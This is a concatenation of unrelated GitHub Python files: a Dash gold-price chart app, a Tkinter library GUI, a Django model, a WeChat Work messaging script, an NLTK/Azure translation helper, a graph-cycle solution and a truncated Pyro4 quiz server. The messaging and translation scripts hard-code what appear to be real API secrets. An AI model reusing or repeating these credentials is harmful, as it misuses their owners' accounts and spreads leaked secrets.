rolling_mean = df.rolling(window=window).mean()\n            name = 'Moving Average ' + str(window)\n            trace1.append(\n                go.Scatter(x=values.date, y=rolling_mean, mode='lines', opacity=0.6, name=name,\n                           textposition='bottom center'))\n\n            if (radioval == 'True'):\n                mae = mean_absolute_error(df[window:], rolling_mean[window:])\n                deviation = np.std(df[window:] - rolling_mean[window:])\n\n                name = 'Upper bound - Moving Average ' + str(window)\n                lower_bound = rolling_mean - (mae + scale * deviation)\n                trace1.append(\n                    go.Scatter(x=values.date, y=lower_bound, mode='lines', opacity=0.6, name=name,\n                               textposition='bottom center'))\n\n                name = 'Lower bound - Moving Average ' + str(window)\n                upper_bound = rolling_mean + (mae + scale * deviation)\n                trace1.append(\n                    go.Scatter(x=values.date, y=upper_bound, mode='lines', opacity=0.6, name=name,\n                               textposition='bottom center'))\n    title = \"\"\n    # title = \"MAE for window \" + str(window) + \" is \" + str(mae)\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=title,\n                                  xaxis={\"title\": \"Date\",\n                                         'rangeslider': {'visible': True},\n                                         },\n\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** *TAB1 ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** *\n# Figure T1_4\n@app.callback(Output('box_plot_month', 'figure'),\n              [Input('my-dropdown4', 'value')])\ndef update_graph(selected_dropdown):\n    N = 12\n    c = ['hsl(' + str(h) + ',50%' + ',50%)' for h in np.linspace(0, 360, N)]\n\n    if ':' in selected_dropdown:\n        selected_dropdown = years\n\n    trace1 = []\n    df = values.loc[values.year.isin(selected_dropdown), :]\n    y = df['Gold']\n    x = df['month_n']\n    trace1.append(\n        go.Box(x=x, y=y, boxpoints='all', jitter=0.5, whiskerwidth=0.2, marker_size=2, line_width=1)\n    )\n\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=\"\",\n                                  xaxis={\"title\": \"Month\",\n                                         'rangeslider': {'visible': True},\n                                         'ticktext': months\n                                         },\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T1_3\n@app.callback(Output('box_plot', 'figure'),\n              [Input('my-dropdown3', 'value')])\ndef update_graph(selected_dropdown):\n    N = 12\n    c = ['hsl(' + str(h) + ',50%' + ',50%)' for h in np.linspace(0, 360, N)]\n    if ':' in selected_dropdown:\n        selected_dropdown = months\n\n    trace1 = []\n\n    df = values.loc[values.month_n.isin(selected_dropdown), :]\n    y = df['Gold']\n    x = df['year']\n    trace1.append(\n        go.Box(x=x, y=y, boxpoints='all', jitter=0.5, whiskerwidth=0.2, marker_size=2, line_width=1)\n    )\n\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=\"\",\n                                  xaxis={\"title\": \"Year\",\n                                         'rangeslider': {'visible': True},\n                                         'ticktext': months\n                                         },\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T1_2\n@app.callback(Output('year-wise_pattern', 'figure'),\n              [Input('my-dropdown2', 'value')])\ndef update_graph(selected_dropdown):\n    df_pivot = pd.pivot_table(df, values='Gold', index='month', columns='year', aggfunc='mean').sort_values(\n        by=\"month\")\n\n    trace1 = []\n\n    df_pivot['m'] = df_pivot.index.map(lambda x: months[x - 1])\n    if ':' in selected_dropdown:\n        selected_dropdown = years\n\n    for year in selected_dropdown:\n        trace1.append(\n            go.Scatter(x=df_pivot['m'], y=df_pivot[year], mode='lines', opacity=0.6, name=year,\n                       textposition='bottom center'))\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=\"\",\n                                  xaxis={\"title\": \"Month\",\n                                         'rangeslider': {'visible': True},\n                                         'ticktext': months\n                                         },\n\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n\n    return figure\n\n\n# Figure T1_1\n@app.callback(Output('priceHistory', 'figure'),\n              [Input('my-dropdown2', 'value')])\ndef update_graph(selected_dropdown):\n    trace1 = []\n    trace1.append(\n        go.Scatter(x=df.index, y=df[\"Gold\"], mode='lines', opacity=0.6, name='Gold', textposition='bottom center'))\n    traces = [trace1]\n    data = [val for sublist in traces for val in sublist]\n    figure = {'data': data,\n              'layout': go.Layout(colorway=[\"#5E0DAC\", '#FF4F00', '#375CB1', '#FF7400', '#FFF400', '#FF0056'],\n                                  height=600,\n                                  title=\"\",\n                                  xaxis={\"title\": \"Date\",\n                                         'rangeselector': {\n                                             'buttons': list([\n                                                 dict(count=1, label=\"Last Month\", step=\"month\", stepmode=\"backward\"),\n                                                 dict(count=6, label=\"Last 6 Months\", step=\"month\",\n                                                      stepmode=\"backward\"),\n                                                 dict(count=1, label=\"Since Jan 2020\", step=\"year\", stepmode=\"todate\"),\n                                                 dict(count=1, label=\"Last Year\", step=\"year\", stepmode=\"backward\"),\n                                                 dict(count=5, label=\"Last 5 Years\", step=\"year\", stepmode=\"backward\"),\n                                                 dict(step=\"all\", label=\"Since Jan 2010\")\n                                             ])\n                                         },\n                                         'rangeslider': {'visible': True}, 'type': 'date'},\n                                  yaxis={\"title\": \"Price (USD)\"}, paper_bgcolor='rgba(0,0,0,0)',\n                                  plot_bgcolor='rgba(0,0,0,0)')}\n    return figure\n\n\nif __name__ == '__main__':\n    application.run(debug=False, port=8080)\n","repo_name":"jahedpari/Gold","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":35513,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20109321360","text":"from Tkinter import *\nfrom MyWidgets import *\nfrom LibraryDB import LibraryDB\n\nclass BookSearchFrame(Frame):\n\tcol_heads = ['isbn','title','authors','available']\n\tisbn_ix = 0\n\ttitle_ix = 1\n\tauth_ix = 2\n\tavail_ix = 3\n\tdef __init__(self, lib, mw):\n\t\tFrame.__init__(self,mw)\n\t\tself.lib = lib\n\t\tself.searchframe = Frame(self)\n\t\tself.searchframe.pack()\n\t\tLabel(self.searchframe, text=\"Search by Isbn, Title, Author\").grid(column=1, row=0, padx=2)\n\t\t\n\t\tself.ebox = Entry(self.searchframe)\n\t\tself.ebox.grid(column=2, row=0)\n\t\tself.ebox.focus()\n\t\tButton(self.searchframe, text=\"Search\", command=self.search).grid(column=3, row=0)\n\t\tButton(self.searchframe, text=\"Clear\", command=self.clear).grid(column=4, row=0)\n\n\t\tLabel(self.searchframe, text=\"Borrower Card Number\").grid(column=1, row=1, padx=2)\n\t\tself.bbox = Entry(self.searchframe)\n\t\tself.bbox.grid(column=2, row=1)\n\t\tButton(self.searchframe, text=\"Checkout\", command=self.checkout).grid(column=3, row=1)\n\t\tButton(self.searchframe, text=\"Checkin\", command=self.checkin).grid(column=4,row=1)\n\t\tself.list = MListBox(self, self.col_heads)\n\t\tself.list.pack(side='top', fill='both', expand=True)\n\n\tdef clear(self):\n\t\tself.ebox.delete(0,'end')\n\t\tself.list.clear()\n\n\tdef search(self):\n\t\tif(self.ebox.get() == \"\"):\n\t\t\treturn\n\t\tisbnmap={}\n\t\tresults = self.lib.book_search(self.ebox.get())\n\t\t#print \"%d results\" % len(results)\n\t\tfor row in results:\n\t\t\tisbn = row[\"isbn\"]\n\t\t\tauth = row[\"author\"]\n\t\t\tif(isbn in isbnmap): \n\t\t\t\tauth += \", %s\" % isbnmap[isbn][self.auth_ix]\n\t\t\tisbnmap[isbn] = (isbn, row[\"title\"], auth, \"Y\" if row[\"available\"] else \"N\")\n\t\t\t\n\t\tself.list.clear()\t\t\n\t\tself.list.insert(isbnmap.values())\n\n\tdef checkin(self):\n\t\tsuccess = False\n\t\tfor row in self.list.getselection():\n\t\t\tloan = self.lib.find_book_loan(row[self.isbn_ix])\n\t\t\tif(len(loan)):\n\t\t\t\tsuccess = True\n\t\t\t\tresult = self.lib.book_checkin(loan[0][\"loan_id\"])\n\t\t\telse:\n\t\t\t\tresult = \"No lien on book\"\n\t\t\tif(result != \"SUCCESS\"):\n\t\t\t\tPopup(\"Error\",\"Failed to checkin %s\\n%s\" %(row[self.isbn_ix],result))\n\t\tif(success): # refresh display if at least one checkout succeeded\n\t\t\tself.search()\n\n\tdef checkout(self):\n\t\tsuccess = False\n\t\tborrower = self.bbox.get()\n\t\tif(borrower == \"\"):\n\t\t\tPopup(\"Error\",\"Enter a borrower card number\")\n\t\t\treturn\n\t\tfor row in self.list.getselection():\n\t\t\tresult = self.lib.book_checkout(row[self.isbn_ix], borrower)\n\t\t\t#print result\n\t\t\tif(result == \"SUCCESS\"):\n\t\t\t\tsuccess = True\n\t\t\t\t#print \"Checked out %s\" % row[self.title_ix]\n\t\t\telse:\n\t\t\t\tPopup(\"Error\",\"Failed to checkout %s\\n%s\" % (row[self.isbn_ix], result))\t\t\t\n\t\tif(success): # refresh display if at least one checkout succeeded\n\t\t\tself.search()\n\nclass LoanSearchFrame(Frame):\n\tcol_heads = ['loan id','card id','name','isbn']\n\tloan_ix = 0\n\tcard_ix = 1\n\tname_ix = 2\n\tisbn_ix = 3\n\tdef __init__(self, lib, mw):\n\t\tFrame.__init__(self,mw)\n\t\tself.lib = lib\n\t\tself.searchframe = Frame(self)\n\t\tself.searchframe.pack()\n\t\tLabel(self.searchframe, text=\"Search by Isbn, Loan ID, Card ID, Card Name\").grid(column=1, row=0, padx=2)\n\t\tself.ebox = Entry(self.searchframe)\n\t\tself.ebox.grid(column=2, row=0)\n\t\tself.ebox.focus()\n\t\tButton(self.searchframe, text=\"Search\", command=self.search).grid(column=3, row=0)\n\t\tButton(self.searchframe, text=\"Clear\", command=self.clear).grid(column=4, row=0)\n\t\tButton(self.searchframe, text=\"Checkin\", command=self.checkin).grid(column=5, row=0)\n\t\tself.list = MListBox(self, self.col_heads)\n\t\tself.list.pack(side='top', fill='both', expand=True)\n\n\tdef search(self):\n\t\tif(self.ebox.get() == \"\"):\n\t\t\treturn\n\t\tvalues=[]\n\t\tfor row in self.lib.find_book_loan(self.ebox.get()):\n\t\t\tvalues.append((row[\"loan_id\"], row[\"card_id\"], row[\"bname\"], row[\"isbn\"]))\n\t\tself.list.clear()\n\t\tself.list.insert(values)\n\n\tdef clear(self):\n\t\tself.ebox.delete(0,'end')\n\t\tself.list.clear()\n\n\tdef checkin(self):\n\t\tsuccess = False\n\t\tfor row in self.list.getselection():\t\t\t\n\t\t\tresult = self.lib.book_checkin(row[self.loan_ix])\n\t\t\tif(result != \"SUCCESS\"):\n\t\t\t\tPopup(\"Error\",\"Failed to checkin %s\\n%s\" %(row[self.isbn_ix],result))\n\t\t\telse:\n\t\t\t\tsuccess = True\n\t\tif(success): # refresh display if at least one checkout succeeded\n\t\t\tself.search()\n\nclass BorrowerManagement(Frame):\n\tcol_heads = [\"card id\", \"ssn\", \"name\", \"address\", \"phone\"]\n\tdef __init__(self, lib, mw):\n\t\tFrame.__init__(self, mw)\n\t\tself.lib = lib\n\t\tself.newframe = Frame(self)\n\t\tself.newframe.pack(fill='both', expand=True)\n\t\tLabel(self.newframe, text=\"Name\").grid(column=1, row=0, sticky='nsew', padx=2)\n\t\tself.nbox = Entry(self.newframe)\n\t\tself.nbox.grid(column=2, row=0, sticky='nsew', padx=2)\n\t\tLabel(self.newframe, text=\"SSN\").grid(column=1, row=1, sticky='nsew', padx=2)\n\t\tself.sbox = Entry(self.newframe)\n\t\tself.sbox.grid(column=2, row=1, sticky='nsew', padx=2)\n\t\tLabel(self.newframe, text=\"Address\").grid(column=1, row=2, sticky='nsew', padx=2)\n\t\tself.abox = Entry(self.newframe)\n\t\tself.abox.grid(column=2, row=2, sticky='nsew', padx=2)\n\t\tLabel(self.newframe, text=\"Phone\").grid(column=1, row=3, sticky='nsew', padx=2)\n\t\tself.pbox = Entry(self.newframe)\n\t\tself.pbox.grid(column=2, row=3, sticky='nsew', padx=2)\n\t\tButton(self.newframe, text=\"Create\", command=self.create).\\\n\t\t\tgrid(column=3, row=1, sticky='nsew', padx=2)\n\t\tButton(self.newframe, text=\"Clear\", command=self.clearnew).\\\n\t\t\tgrid(column=3, row=2, sticky='nsew', padx=2)\n\t\tself.newframe.grid_columnconfigure(2, weight=2)\n\n\t\tself.searchframe = Frame(self)\n\t\tself.searchframe.pack()\n\t\tLabel(self.searchframe, text=\"Search by Card ID, Name, SSN\").grid(column=1, row=0, padx=2)\n\t\tself.ebox = Entry(self.searchframe)\n\t\tself.ebox.grid(column=2, row=0)\n\t\tself.ebox.focus()\n\t\tButton(self.searchframe, text=\"Search\", command=self.search).grid(column=3, row=0)\n\t\tButton(self.searchframe, text=\"Clear\", command=self.clearsearch).grid(column=4, row=0)\n\t\tself.list = MListBox(self, self.col_heads)\n\t\tself.list.pack(fill='both', expand=True)\n\n\tdef search(self):\n\t\tif(self.ebox.get() == \"\"):\n\t\t\treturn\n\t\tvalues = []\n\t\tfor b in self.lib.find_borrower(self.ebox.get()):\n\t\t\tvalues.append((b[\"card_id\"], b[\"ssn\"], b[\"bname\"], b[\"address\"], b[\"phone\"]))\n\t\tself.list.clear()\n\t\tself.list.insert(values)\n\n\tdef clearsearch(self):\n\t\tself.ebox.delete(0,'end')\n\t\tself.list.clear()\n\n\tdef create(self):\n\t\tif(self.nbox.get() == \"\"):\n\t\t\tPopup(\"Error\",\"Name must not be empty\")\n\t\t\treturn\n\t\tif(self.sbox.get() == \"\"):\n\t\t\tPopup(\"Error\",\"SSN must not be empty\")\n\t\t\treturn\n\t\tif(self.abox.get() == \"\"):\n\t\t\tPopup(\"Error\",\"Address must not be empty\")\n\t\t\treturn\n\t\tresult = self.lib.new_borrower(self.sbox.get(), self.nbox.get(), self.abox.get(), self.pbox.get())\n\t\tif(result == \"SUCCESS\"):\n\t\t\tPopup(\"Success\",\"Created new borrower %s\" % self.sbox.get())\n\t\telse:\n\t\t\tPopup(\"Error\",\"Failed to create borrower %s\\n%s\" % (self.sbox.get(),result))\n\n\tdef clearnew(self):\n\t\tself.nbox.delete(0,'end')\n\t\tself.sbox.delete(0,'end')\n\t\tself.abox.delete(0,'end')\n\t\tself.pbox.delete(0,'end')\n\nclass FineManagement(Frame):\n\ttop_heads = [\"card id\", \"ssn\", \"name\", \"debt\"]\n\tcard_ix = 0\n\tssn_ix = 1\n\tname_ix = 2\n\tdebt_ix = 3\n\tdetail_heads = [\"loan id\", \"isbn\", \"due date\", \"fine\", \"paid\"]\n\tloan_ix = 0\n\tisbn_ix = 1\n\tdue_ix = 2\n\tfine_ix = 3\n\tpaid_ix = 4\n\tdef __init__(self, lib, mw):\n\t\tFrame.__init__(self, mw)\n\t\tself.lib = lib\n\t\tself.topframe = Frame(self)\n\t\tself.topframe.pack()\n\t\tLabel(self.topframe, text=\"Total debts by borrower\").grid(column=1,row=0, padx=2)\n\t\tButton(self.topframe, text=\"Refresh\", command=self.refresh).grid(column=2,row=0, padx=2)\n\t\tself.list = MListBox(self, self.top_heads)\n\t\tself.list.pack(side='top', fill='both', expand=True)\n\t\tself.list.bind(\"<ButtonRelease-1>\", self.populatedetails)\t\n\n\t\tself.detailframe = Frame(self)\n\t\tself.detailframe.pack()\n\t\tLabel(self.detailframe, text=\"Itemized fines\").grid(column=1,row=0, padx=2)\n\t\tButton(self.detailframe, text=\"Pay\", command=self.pay).grid(column=2,row=0)\n\t\tself.togvar = IntVar()\n\t\tCheckbutton(self.detailframe, text=\"Show All\", command=self.toggle, variable=self.togvar).grid(column=3, row=0)\n\t\tself.details = MListBox(self, self.detail_heads)\n\t\tself.details.pack(side='top', fill='both', expand=True)\n\n\t\tself.populatelist()\n\n\tdef refresh(self):\n\t\tfailures = self.lib.assess_fines()\n\t\tif(len(failures)):\n\t\t\tPopup(\"Warning\",\"Could not assess fines for loans %s\\n\" % failures)\n\t\tself.populatelist()\n\n\tdef pay(self):\n\t\tsuccess = False\n\t\tfor row in self.details.getselection():\n\t\t\tresult = self.lib.pay_fine(row[self.loan_ix])\n\t\t\tif(result == \"SUCCESS\"):\n\t\t\t\tsuccess = True\n\t\t\telif(result == \"NO_ROWS\"):\n\t\t\t\tif(row[self.paid_ix] == \"Y\"):\n\t\t\t\t\tPopup(\"Error\", \"Fine already paid for loan %s\\n\" % row[self.loan_ix])\n\t\t\t\telse:\n\t\t\t\t\tPopup(\"Error\",\"Could not pay fine for loan %s\\nBook %s still out\" %\\\n\t\t\t\t\t\t(row[self.loan_ix], row[self.isbn_ix]))\n\t\tif(success): # refresh display if at least one checkout succeeded\n\t\t\tself.populatedetails(None)\n\n\tdef toggle(self):\n\t\tself.populatedetails(None)\n\n\tdef populatelist(self):\n\t\tdebts = []\n\t\tfor row in self.lib.borrower_debts():\n\t\t\tdebts.append((row[\"card_id\"], row[\"ssn\"], row[\"bname\"], row[\"total_due\"]))\n\t\tself.details.clear()\n\t\tself.list.clear()\n\t\tself.list.insert(debts)\n\n\tdef populatedetails(self, event):\n\t\trow = self.list.getselection()[0]\n\t\tcard = row[self.card_ix]\n\t\titems = []\n\t\tfines = []\n\t\tif(self.togvar.get()):\n\t\t\tfines = self.lib.itemized_fines_all(card)\n\t\telse:\n\t\t\tfines = self.lib.itemized_fines_unpaid(card)\n\t\tfor i in fines:\n\t\t\titems.append((i[\"loan_id\"], i[\"isbn\"], i[\"due_date\"], i[\"fine_amt\"], i[\"paid\"]))\n\t\tself.details.clear()\n\t\tself.details.insert(items)\n\n\n","repo_name":"skibold/tkinter-example","sub_path":"LibraryView.py","file_name":"LibraryView.py","file_ext":"py","file_size_in_byte":9451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44132640739","text":"from django.db import models\n\n# Create your models here.\n\nclass Produtos():\n    def __init__(self, id, nome, preco, validade) -> None:\n        self.id = id\n        self.nome = nome\n        self.preco = preco\n        self.validade = validade\n\n","repo_name":"YanGianini/crud_django","sub_path":"mycrud/crud/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12482361758","text":"from zhugeleida.views_dir.conf import *\nimport requests\nfrom publicFunc import Response\nimport json\n\n\n#小程序访问动作日志的发送到企业微信\ndef user_send_action_log(data):\n    response = Response.ResponseObj()\n\n    customer_id = data.get('customer_id') or ''\n    user_id = data.get('uid')\n    content = data.get('content')\n    agentid = data.get('agentid')\n\n    get_token_data = {}\n    send_token_data = {}\n\n\n    corp_id = 'wx81159f52aff62388'\n    tongxunlu_secret = '-pkF6u6vdXRbapZNb-fdQc16DXBhGCgDmyfa0OUuOgk'\n\n\n    get_token_data['corpid'] = corp_id\n    get_token_data['corpsecret'] = tongxunlu_secret\n\n    import redis\n    rc = redis.StrictRedis(host='redis_host', port=6379, db=8, decode_responses=True)\n    token_ret = rc.get('tongxunlu_token')\n    print('---token_ret---->>', token_ret)\n\n    if not token_ret:\n        ret = requests.get(Conf['tongxunlu_token_url'], params=get_token_data)\n        weixin_ret_data = ret.json()\n        print('------weixin_ret_data---->>',weixin_ret_data)\n\n        if weixin_ret_data['errcode'] == 0:\n           access_token = weixin_ret_data['access_token']\n           send_token_data['access_token'] = access_token\n           rc.set('tongxunlu_token', access_token, 7000)\n\n        else:\n            response.code = weixin_ret_data['errcode']\n            response.msg = \"企业微信验证未能通过\"\n            return response\n\n    else:\n        send_token_data['access_token'] = token_ret\n\n    userid = '@all'\n    post_send_data =  {\n       \"touser\" :userid,\n       # \"toparty\" : \"PartyID1|PartyID2\",\n       # \"totag\" : \"TagID1 | TagID2\",\n       \"msgtype\" : \"text\",\n       \"agentid\" :  agentid,\n       \"text\" : {\n           \"content\" : content,\n       },\n       \"safe\":0\n    }\n\n    inter_ret = requests.post(Conf['send_msg_url'], params=send_token_data,data= json.dumps(post_send_data))\n    import json\n    weixin_ret_data = json.loads(inter_ret.text)\n    print('---- access_token --->>', weixin_ret_data)\n\n    if weixin_ret_data['errcode'] == 0:\n        response.code = 200\n        response.msg = '发送成功'\n\n    else:\n        response.code = weixin_ret_data['errcode']\n        response.msg = \"企业微信验证未能通过\"\n\n\n    return response\n\n\ndata = {\n\n    'uid' :  '@all',\n    'content': 'hey man !!!!' ,\n    'agentid' : 10001,\n}\nuser_send_action_log(data)","repo_name":"itcastpeng/zhugeApi","sub_path":"publicFunc/test_send.py","file_name":"test_send.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20029509065","text":"from nltk import word_tokenize, pos_tag, sent_tokenize, data as nltk_data\nimport re\nimport uuid\nimport requests\nimport json\nimport os\n\n# Load NLTK data manually\nroot = os.path.dirname(os.path.abspath(__file__))\ndownload_dir = os.path.join(root, 'nltk_data')\nos.chdir(download_dir)\nnltk_data.path.append(download_dir)\n\ntag_dict = {\n    'VB': 'Verb Base',\n    'VBD': 'Past Tense',\n    'VBG': 'Gerund/Present Participle',\n    'VBN': 'Past Participle',\n    'VBP': 'Singular Present',\n    'VBZ': '3rd Person Singular Present'\n}\n\ndef translate(sentence: str, to_language: str):\n    base_url = 'https://api.cognitive.microsofttranslator.com'\n    endpoint = '/translate?api-version=3.0'\n    params = '&to=' + to_language\n    constructed_url = base_url + endpoint + params\n\n    subscription_key = \"7bfbbcdab65841f3a97a5a7786181a34\"\n    location = \"southeastasia\"\n\n    headers = {\n        'Ocp-Apim-Subscription-Key': subscription_key,\n        'Ocp-Apim-Subscription-Region': location,\n        'Content-type': 'application/json',\n        'X-ClientTraceId': str(uuid.uuid4())\n    }\n\n    body = [{\n        'text' : sentence\n    }]\n    response = requests.post(constructed_url, headers=headers, json=body)\n    return response.json()[0]['translations'][0]['text']\n\n\ndef get_sentence_verbs(sentence: str):\n    word_tokens = word_tokenize(sentence)\n    sentence_parts = pos_tag(word_tokens)\n    # Filter out only verbs\n    verbs = []\n    for part in sentence_parts:\n        if part[1] in tag_dict.keys():\n            verbs.append(part)\n    return verbs\n\ndef get_data(textToExamine: str):\n    # Preprocess the text\n    combine_whitespace = re.compile(r\"\\s+\")\n    sample_formatted = textToExamine.replace('[Illustration]', '').replace('\\n', ' ').replace('Mr.', 'Mr ').replace('Mrs. ', 'Mrs ')\n    sample_formatted = combine_whitespace.sub(\" \", sample_formatted).strip()\n\n    sentences = sent_tokenize(sample_formatted)\n\n    sentences_data = []\n\n    for sentence in sentences:\n        sentence_translated = translate(sentence, \"nb\")\n        sentence_verbs_pos = get_sentence_verbs(sentence)\n\n        verb_translations = {}\n        for verb in sentence_verbs_pos:\n            verb_translated = translate(verb[0], \"nb\")\n            verb_translations[verb[0]] = verb_translated\n        \n        sentences_data.append({\n            'sentence_eng': sentence,\n            'sentence_no': sentence_translated,\n            'verbs_eng_pos': sentence_verbs_pos,\n            'verb_trans_no': verb_translations\n        })\n    return sentences_data\n","repo_name":"matthewhilton/norsk-conjugation","sub_path":"cloud_function/nltktest.py","file_name":"nltktest.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"18674913751","text":"#Cycle in a directed graph!\n\nfrom collections import defaultdict\nclass Graph:\n    def __init__(self,n):\n        self.neighbours=defaultdict(list)\n        self.grey_set=set()\n        self.black_set=set()\n        \n    \n    def addEdge(self,u,v):\n        self.neighbours[u].append(v)\n        \n    def DFS(self,node):\n        if(node in self.grey_set):\n            return False\n        self.grey_set.add(node)\n        for adjacent_node in self.neighbours[node]:\n            if(adjacent_node not in self.black_set):\n                return self.DFS(adjacent_node)\n        self.black_set.add(node) #Mark visited!\n        return True\n    def isCycle(self,n):\n        for node in range(n): \n            if(node not in self.black_set):\n                #reset gret set\n                self.grey_set=set()\n                if(not self.DFS(node)):\n                    return False\n                \n        return True\n                \n            \n\nclass Solution:\n    def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        g=Graph(numCourses)\n        for c1,c2 in prerequisites:\n            g.addEdge(c1,c2)\n        return g.isCycle(numCourses)\n        ","repo_name":"thecodearrow/LeetCode-Python-Solutions","sub_path":"May 2020 LeetCode Challenge/Course Schedule.py","file_name":"Course Schedule.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"27245918174","text":"import Pyro4\nimport random\n\n@Pyro4.expose\nclass GameServer:\n    def init(self):\n        self.prize = 0 \n        self.questions = [] \n        self.load_questions() \n\n    def load_questions(self):\n        self.questions = [\n            {\n                \"question\": \"No contexto de sistemas distribuídos, o que é a comunicação assíncrona e como ela difere da comunicação síncrona?\",\n                \"answers\": [\n                    \"a) Comunicação assíncrona é mais rápida que a comunicação síncrona.\",\n                    \"b) Comunicação assíncrona envolve a transferência de dados em tempo real, enquanto a comunicação síncrona não.\",\n                    \"c) Comunicação assíncrona permite que os participantes continuem suas tarefas sem esperar uma resposta imediata, ao passo que a comunicação síncrona exige que todos os participantes estejam ativamente envolvidos ao mesmo tempo.\",\n                    \"d) Comunicação assíncrona é uma técnica usada apenas em sistemas centralizados.\"\n                ],\n                \"correct_answer\": \"c\"\n            },\n            {\n                \"question\": \"Quem foi o líder da Revolta da Armada, um conflito ocorrido no final do século XIX no Brasil?\",\n                \"answers\": [\n                    \"a) Marechal Deodoro da Fonseca.\",\n                    \"b) Barão do Rio Branco.\",\n                    \"c) Almirante Custódio de Melo.\",\n                    \"d) Marechal Floriano Peixoto.\"\n                ],\n                \"correct_answer\": \"c\"\n            },\n            {\n                \"question\": \"Qual evento histórico marcou o início da Era Vargas no Brasil?\",\n                \"answers\": [\n                    \"a) A Proclamação da República.\",\n                    \"b) A Revolução Constitucionalista de 1932.\",\n                    \"c) A Guerra dos Farrapos.\",\n                    \"d) O Golpe de Estado de 1937.\"\n                ],\n                \"correct_answer\": \"d\"\n            },\n            {\n                \"question\": \"Qual é a principal diferença entre sistemas distribuídos e sistemas centralizados?\",\n                \"answers\": [\n                    \"a) Apenas sistemas distribuídos usam protocolos de rede.\",\n                    \"b) Em sistemas distribuídos, os recursos são compartilhados e executados em várias máquinas.\",\n                    \"c) Sistemas distribuídos são mais rápidos que sistemas centralizados.\",\n                    \"d) Sistemas centralizados são mais seguros do que sistemas distribuídos.\"\n                ],\n                \"correct_answer\": \"b\"\n            },\n            {\n                \"question\": \"Quem foi o líder do movimento conhecido como 'Inconfidência Mineira', que ocorreu no final do século XVIII e buscava a independência da Capitania de Minas Gerais do domínio português?\",\n                \"answers\": [\n                    \"a) Tiradentes.\",\n                    \"b) Dom Pedro I.\",\n                    \"c) Dom João VI.\",\n                    \"d) Tiririca.\"\n                ],\n                \"correct_answer\": \"a\"\n            },\n            {\n                \"question\": \"Quem é considerado o pai da computação?\",\n                \"answers\": [\n                    \"a) Alan Turing.\",\n                    \"b) Thomas Edison.\",\n                    \"c) Nikola Tesla.\",\n                    \"d) Albert Einstein.\"\n                ],\n                \"correct_answer\": \"a\"\n            },\n            {\n                \"question\": \"Qual é o planeta mais próximo do Sol no sistema solar?\",\n                \"answers\": [\n                    \"a) Vênus.\",\n                    \"b) Terra.\",\n                    \"c) Mercúrio.\",\n                    \"d) Marte.\"\n                ],\n                \"correct_answer\": \"c\"\n            },\n            {\n                \"question\": \"Quem escreveu a famosa obra 'Dom Quixote'?\",\n                \"answers\": [\n                    \"a) Miguel de Cervantes.\",\n                    \"b) William Shakespeare.\",\n                    \"c) Charles Dickens.\",\n                    \"d) Fyodor Dostoevsky.\"\n                ],\n                \"correct_answer\": \"a\"\n            },\n            {\n                \"question\": \"Qual é a capital da França?\",\n                \"answers\": [\n                    \"a) Londres.\",\n                    \"b) Madri.\",\n                    \"c) Roma.\",\n                    \"d) Paris.\"\n                ],\n                \"correct_answer\": \"d\"\n            },\n            {\n                \"question\": \"Qual é o maior mamífero terrestre?\",\n                \"answers\": [\n                    \"a) Elefante.\",\n                    \"b) Rinoceronte.\",\n                    \"c) Hipopótamo.\",\n                    \"d) Girafa.\"\n                ],\n                \"correct_answer\": \"a\"\n            }\n        ]\n\n    def shuffle_and_select_questions(self):\n        random.shuffle(self.questions)\n        random_questions = self.questions[:5]\n        return random_questions\n    \n    def get_prize(self):\n        return self.prize\n\n    def get_question(self, question_number):\n        return self.questions[question_number]\n\n    def check_answer(self, question_number, answer):\n        correct_answer = self.questions[question_number][\"correct_answer\"]\n        if answer.lower() == correct_answer.lower():\n            self.prize += 200000\n            return True\n        else:\n            self.prize /= 2\n            return False\n\ndaemon = Pyro4.Daemon()\nuri = daemon.register(GameServer())\nprint(f\"URI: {uri}\")\n\nwith Pyro4.locateNS() as ns:\n    ns.register(\"game_server\", 